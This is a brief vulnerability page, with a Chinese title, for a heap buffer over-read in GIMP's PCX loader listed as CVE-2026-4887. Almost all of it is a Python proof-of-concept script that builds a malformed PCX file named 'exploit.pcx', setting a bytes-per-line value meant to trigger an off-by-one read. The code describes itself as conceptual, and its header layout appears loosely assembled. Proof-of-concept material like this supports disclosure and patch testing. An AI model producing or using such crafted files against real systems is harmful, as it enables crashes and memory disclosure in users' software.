CVE-2026-4887 GIMP PCX加载器堆缓冲区越界读取漏洞

import struct # Generate a malicious PCX file to trigger the off-by-one heap buffer over-read. # This is a conceptual PoC based on the vulnerability description. def create_malicious_pcx(filename): # PCX Header (128 bytes) # Manufacturer: 10 (ZSoft) # Version: 5 # Encoding: 1 (RLE) # Bits per pixel: 8 header = b'\x0A\x05\x01\x08' header += b'\x00\x00' + b'\x00\x00' + b'\x80\x02' + b'\xE0\x01' # Xmin, Ymin, Xmax, Ymax header += b'\x80\x02' + b'\xE0\x01' # Hres, Vres header += b'\x00' * 48 # Palette header += b'\x00' # Reserved header += b'\x01' # Bit planes # Setting Bytes per line to a value that triggers off-by-one calculation header += struct.pack('<H', 641) header += b'\x01\x00' # Palette info header += b'\x00' * 58 # Filler # Malicious body data data = b'\xFF' * 100 with open(filename, 'wb') as f: f.write(header + data) create_malicious_pcx('exploit.pcx')